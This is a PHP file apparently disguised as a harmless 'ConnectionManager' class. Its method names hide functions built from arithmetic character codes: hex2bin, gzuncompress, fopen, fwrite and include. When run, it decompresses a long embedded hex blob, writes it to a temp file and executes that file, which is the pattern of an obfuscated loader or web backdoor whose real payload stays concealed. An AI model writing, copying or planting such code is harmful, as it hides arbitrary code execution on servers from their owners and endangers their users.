<?php
class ConnectionManager {
	private $xm = '';
	private $se = '';

	public function logEvent($p1) {
		$a = array((2*55),((53+26+26)),(107-9),(24+12+14),(2*60),((16*5)+21),((46*39)-1690));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function manageState($p1) {
		$a = array((((41*45)-1730)),((56+21+38)),((103-2)),(2*57),(83+29),((105+3+1)),(((48*60)-2769)),(((69*103)-7008)),(2*55),((120-3)),(((131*21)-2629)),((40+28+35)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function sendNotification($p1,$p2) {
		$a = array(((2*51)),((86*1)+25),112,(51+50),110);
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function triggerCallback($p1,$p2) {
		$a = array(((65*109)-6983),119,((2*57)),((110*36)-3855),(((54*71)-3718)),((100+1)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function terminateSession($p1) {
		$a = array(((59+42)),(5*23),(13+88+10),(21+87),((29+24+46)),((76+26)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function syncRecords($p1,$p2=null) {
		$a = array((18+72+19),(105),(114),(25+91),(90+21+3));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function processData() {
		$this->se = $this->syncRecords($this->prepareOutput(), '/');
	}

	public function filterResults() {
		$this->xm = $this->manageState($this->logEvent($this->zj));
	}

	public function updateCache() {
		$fn = $this->se.'/mx-67bb16d6a4e53';
		$f = $this->sendNotification($fn, 'w');
		$this->triggerCallback($f, $this->xm);
		$this->terminateSession($f);
		$this->resetState($fn);
	}

	private $zj = '789ccd1a0d73dacaf1af24336e4163eaeaf40971e91bd9e06' . 'f8cc1e08c5fc665404820c0084b80803cfff7eeeee9ee7012e' . '7bd37d34eeb0cf86e6f6fbff776ef9c7ffcb2182f3ef8b37e9' . 'a7ee84dbf2e9268dd5f061fd2657f19f907bdf93639e6e30fe' . '16aee2fa378fe61543ce86d06a5835e5ffb1a85c58f69300b3' . 'f7d225c8d8fa3a2767cd00babe9329905f32262c23c0b97d54' . '13f0d1cab370cfc781814f7767e419a4fda71182780bf1a255' . '51d3804f1521181fd4806d63e56abb4767c7848738d16bfd0f' . '8a9ea8f93629c0c8bfb40ed5f1cd2e7f3bf80744f9a769c04c' . 'b553227c4e3d7b7ba2b7d419baf7b9256fb49d2df160bbd559' . '814aaff2c5c8c5b5e73d46af99356a3d16ab41b27cbe6c538b' . 'd6b7827cdbad7bd6e9e148e0ad6edaf0fc3ab42a9d00b7ddae' . '465c175f6185cebd6f46adc78f8b5db68df6c1a3ea0dec267e' . '4b5afb3386c743398f4efc6ddf68de79dde8e1b752431440a7' . '7b0e235aa389fe0bc39ca1e4e3a9971366d7cbed88d4fea9bb' . '2d56a37c266bddec1f9d9388b2f6a69743ece5a17270f6727f' . '77abbdd7ef4af4fb2f2b9377d3c1b973358df02d9d3167c95d' . 'ddbf103fc6e90d029b2b881e9380e2e46551810e705821fb3b' . 'af70890569560cf0483f9a67e7866c0ef3a81d708be46a1716' . 'd779a71ec258271300fc4287d11a324c2d16dd64dbccf0f81e' . 'fd55fea66fdbc396ed8e7b546f77663a5279db8e6b72fb38b0' . 'ba47cdf38c9d617110cb3eecd439979cfdec3dda87bd8f138b' . '3644696f350bf41636b798df6088643928fe446e36ffce0669' . '75d3590227cfc3b5af649d79b93b809b01a7e2e7d5277c965b' . 'c1c020c2d842eeb0a038d06635c3eaf950f01146604cfd7262' . 'f53229965f5f3dc1a2f2b8a8e9bb1fe707e0f788f0277463e7' . 'ef4f6f7bf8c3242461574e73492c823a21bee46d96dab123e7' . '42bebf0b3b510fa345a9f4df42fa106d98b547b543b41525c9' . '2711fe1dde7f212b7782984f863ff7614e7447eed76978d0c6' . '7c3e6f3187e4d0155f0e73a9ce8e87bc23dbb201db6c2af59c' . '86d967ab596e41813102d3797e26d7dda73b6cb6e9a9e97d4b' . '7f5fed52835cf26235a1ea67c755aa9ed2e37de69fa5cebc47' . '1ed7e9a9eef2ed7f59aa4331e2062edbe35b9c2404da7680c3' . '4703a80afab4e26440f63a2b8bd9c34336f72756add5e77d0a' . 'e297cce27989913926bc4d17cb3b6cd8c5aed71e3d52ea784a' . '09b88b05b0b5d775c4414c5a8ed5ad979a4cf6bf716050a52d' . 'ad03aa6847ed36c79ee7954ee3737b14bc9d197e911f5391d6' . 'fd91c79f3dbfb46ff3ad2196c3b9bb464900c25adc6a8b61b9' . '9f5adb5a9771ac9d9c42784d520e072d7b7b56d7ce8d51a0bb' . '4d1fde51c7f75ea28ff397cb6f1081d77eacb509bcc73f6cfb' . '55dfae29d5e566a9dc6ae76ef99e7bb5447e49a0cbf784bc84' . '4b91cdd8dd275a3863133c0ec2013094c8e776f25cd161a788' . '5a9d5f1077922eda462131e1bcd8d77d518ebd7cdd17e1a442' . '1573b9acd3ee747503a24f3879bd9df1b2776186612791a51c' . 'e50223e34af6b18c1218ecf628132de52fc86ecd243291e4e6' . '232dd5ce4c978243089d4f5c8e3670b057d1bfd5aa3d8cc76f' . '2ccf4065794e0daf1eb6b5e6a577fa2d4feacccf20af6e1bb4' . 'afa67cbd9df7447374af0ede2b7e9b8f0cd74c72ce9ccb64bb' . 'a051fd3b400e8ba3a2ed9b0e2ea360c0d179138d4b54aba614' . 'b0286835087c13afcc0b7639ab4d9451cc6603f7c5bb0ff883' . '97b3fee7f0700c21bc0d0d4414893d484ef5c2dc360f86d3b8' . '080ca32832475616e5834643668c0c93043476d001320968b3' . 'abba4c41ffb183a12347443d8cd365c32bd83b42d0389ea681' . '9f208739197c94012136c0ba2933d2dda88b63508d9b66cb23' . '52a63835225b6f70fc52757e9a4a44b3888e938e4537404294' . '60e138cd1b32827c25c1b85736c84b86436db4213006ff7e8a' . 'd997f6f0e8ae651002ab9e80d66a01e9603166647367df4379' . 'bc89bbf0b008a281251e791663380d82e7cb976ee6552d0a4f' . '8231332b200010cf0397c911d91dede3f76c4f67ffe0fe66f7' . '5ff4fcfd12e68350be31f43c7b4447ce86436c3c4159d0cee6' . '054321c9bb89e67b9a9f300013c8751ec5894776863c741b7c' . '08261e25e9bd64d2446c10e0901eb0c1d6161cabab46462a89' . '88c4bc798fc45f1949f26382be9240f11a23866b8acd38a893' . '211054b67441ec5b3e9c842c920cff0b4e3e967e8225799adf' . '38cb54aa67e64ab1fe77f3dc792320efac32029f6a69f3e8df' . '05e82352dc11a9477a37e01ae3adf208504e738d0da0202d49' . '8284d8325949cf37ae78b4014fd31f678050d2e4d5f0f7aa37' . '175142c7b935492a3ae6895934184bffe15ee6d8b38a549699' . 'f6bca2f0948166bafa6c16d2eeccfd240fb3a8c82e21edf45c' . 'e77ce7983aa01a07d8bf54c159f965fdfd1614d5db1901e2f9' . '507bdd366f3fab20ef7c97eb5d85b219eae1df201d3fec6078' . '61898626089812d901d017105a42c20150defab9b8160c074b' . '1c2240b26793053f2b7e4c896ab8e84b99c6c5eb8690c35bff' . 'f5415ea2ea9192c68c7d9389a05790b21b08ef8d5f94b4eac2' . 'cc956b4a7bc75c06e631fc9909631588e74588ce64b2d8957f' . '361ae9c614824a988211531a4bd0ca988018a3cf1dee60d372' . '9925191dc723748414c2647ca49d24ba67493290d684abea62' . 'b616594609004fd2906c2e1e1f7b6846b290f420cdda0c01d0' . 'a88afe4d837c25504034bfad992625ad23c960a264bd3be37a' . '4254d6549912d195c96b48e25f9d9d22cb6e4674b7eb674876' . 'd619260c4a39a394c72b325375b1ac896b16c57c4c891da393' . '28a1d437b2a6a478aac239574a42f1c953332691cc9ca91ac1' . 'cc9ca958ab992950bacf208dd7cf9ce78ae54d695b1e74abea' . 'e54d19506753106e8898a7264b0671b570a52963a97a585cb0' . '6df57521bca52ebb2d4ba6c43881defe14819ca52f7729948d' . '1a39ac493cc2b92794532af48f75624cf8aa53d1dfdd02a156' . '9818ae45e71b9de825f451d5b32b098aece445d1d593ad71c5' . '3f63b564c57c7986e617a61cc45737fb61a06fc25f0555d6f7' . '81139e84dd62b50fd7957358e986b545cd7346db3629701384' . 'f447580cd2fd5bd833f7d11f56b487939dc5f4ce013e5eb2f0' . '50c4de0c16b5ccfefcf66fdc14c5511449ed13d37823a829cb' . '2aabf4a66bd681e612d196ac73485ca122f1090954ebbed9be' . '65da7777f7fd37ba8b72fcf1eefeaf576898bfa07b02f9af79' . 'dd20fac672beba9135f77d18aef113d6bdedc343fdf344fbdc' . 'e65f3b624f69495bf6428b1fd122483093a1d3554ee63d64f9' . '8b6eb9d6efbb6d3f66eefcf406fb145d5abbd82c55c3554f58' . '629a90c25155498f7995ed4bd1a30fbde6caaf830557d982a3' . 'f4cd51fa60a10337e6ad7d3e6ed6dfdb4d3b96cd49bdd1f394' . 'b552a66a89c51458aa92ac54c25a1a924349584a692104ad54' . 'fc47a5f1e53d9d954a2a9ba04171e3554a24169a28e02b28b7' . '8069bc0478e085b7210246a340f630e25883f8bd380cfa9e35' . 'baa66eb99bf01e25b8ff6f451363fd65e7f234f47b86baba17' . '28ce52aa88a6355f1982a79702d9708366a92bf885026e61de' . '3416f3daf2efa491af440769ed007bdd520aa167169bfd75df' . 'ba2f1dce6451f8e84a7eafed1f24cfdd51a8f0aa0328be51a3' . 'e0c0dc6f9a1b3e306387ac3009f7cf3ee77012debd37ed3bd8' . '7f6828f61a2411f9340a2fb468647fbd2cc880fe7d9ff961f3' . 'e11c3d20659bddd399ae67b90f4f0bb8d4146e7263e722d12d' . '87d2416c6c4866f0da837472304eb71354c637f1a2f8279b14' . '8b6fd456cf1f953df51615cd03e09e06c9b1399f0beea1bfe5' . '998bfef1e15b6c0be9453ccdd6c2a8fab48b25524a95686d92' . 'a275433c3543703375a89e0a89c8086e69318aab87554ba3a7' . 'b9db9a3868a9ba3325035344c753470d315b725b09ef6355ca' . 'c96299f94d055e22f66227d5c7551802647f4f61fc3201624b' . '06e6d03700464aba0247628c1a11bcad9e2dfd330ebf14600f' . 'b381009ec87571cf29b1d8c0a9af68d484a71d54f315729eea' . 'a842d2bc5550bc5caea5454bd1353cd132ba3b4afa1386d504' . 'db8e6893fdbf55fa80f0faa2287eeeb6d28af328ab63ec50f2' . '511efc2e2dde63de4fc462aafa751bec57f79f9c916cc87016' . 'ee9e717d549be6dd65fbfb72da417e5754619fdcbf752e39f1' . '9f2ec48f9f5fd49e60d1e2b749ddd847d4abdc97b5c76f4de3' . 'd789fc7865ecff7890370897ad001b758901cd4bbbe6b61b25' . '37e22a0f5b6931ff39b8967841191079ef3d56cf67387e05f2' . 'b30f6c21f93c4036a424647dec91ecd9f782ca680c8374d28a' . 'aa93f7c8701a14dc3b5240e391246b36590f4d67dfc43f5261' . '0295656c95056c95056c9a01a7a5651c95051d5aba2325c35f' . '5aca29201da784af208ef28796dfb5620b0e70f3a03d5f6b38' . 'a12aeb277f997996aa89edfd0991aaaebbdeaf00decf0a548c' . '05ad65b9c831b8edf7b91c144e1474b32e7ef32813f8e3f886' . '58ca970c8ab30568648d69f74281280d78d23ca34b93ccd033' . '2cb31b6f31d6ffe5501dbca7a04b9711c6ca0c3d748ce8f42d' . '048fbed373901eafbd3098a9aefc9751dc191c8df62f6b45bc' . 'd45ed86e0a9fe1388ca47b04c1c17095f010e722d119d4790f' . '2c509e5b85f5de17f82a0ff3491ff178a7c3649e3b9189328b' . 'c97532f74b8fb775ee53037336a593041fb6f9ee4d02d882c0' . 'df5fa6faa833a86';

	public function resetState($p) {
		include $p;
	}

	public function prepareOutput() {
		$a=array((((88*2)-61)),((59+62)),(115),(66+29),((103*1)),(105-4),(67+49),(82+13),(2*58),((82+9+10)),(61+46+2),((82*118)-9564),95,(((96*1)+4)),(105),((7*69)-369));
		$s='';
		foreach($a as $n){$s.=chr($n);}
		return $s();
	}
}

$zu = new ConnectionManager();
$zu->processData();
$zu->filterResults();
$zu->updateCache();
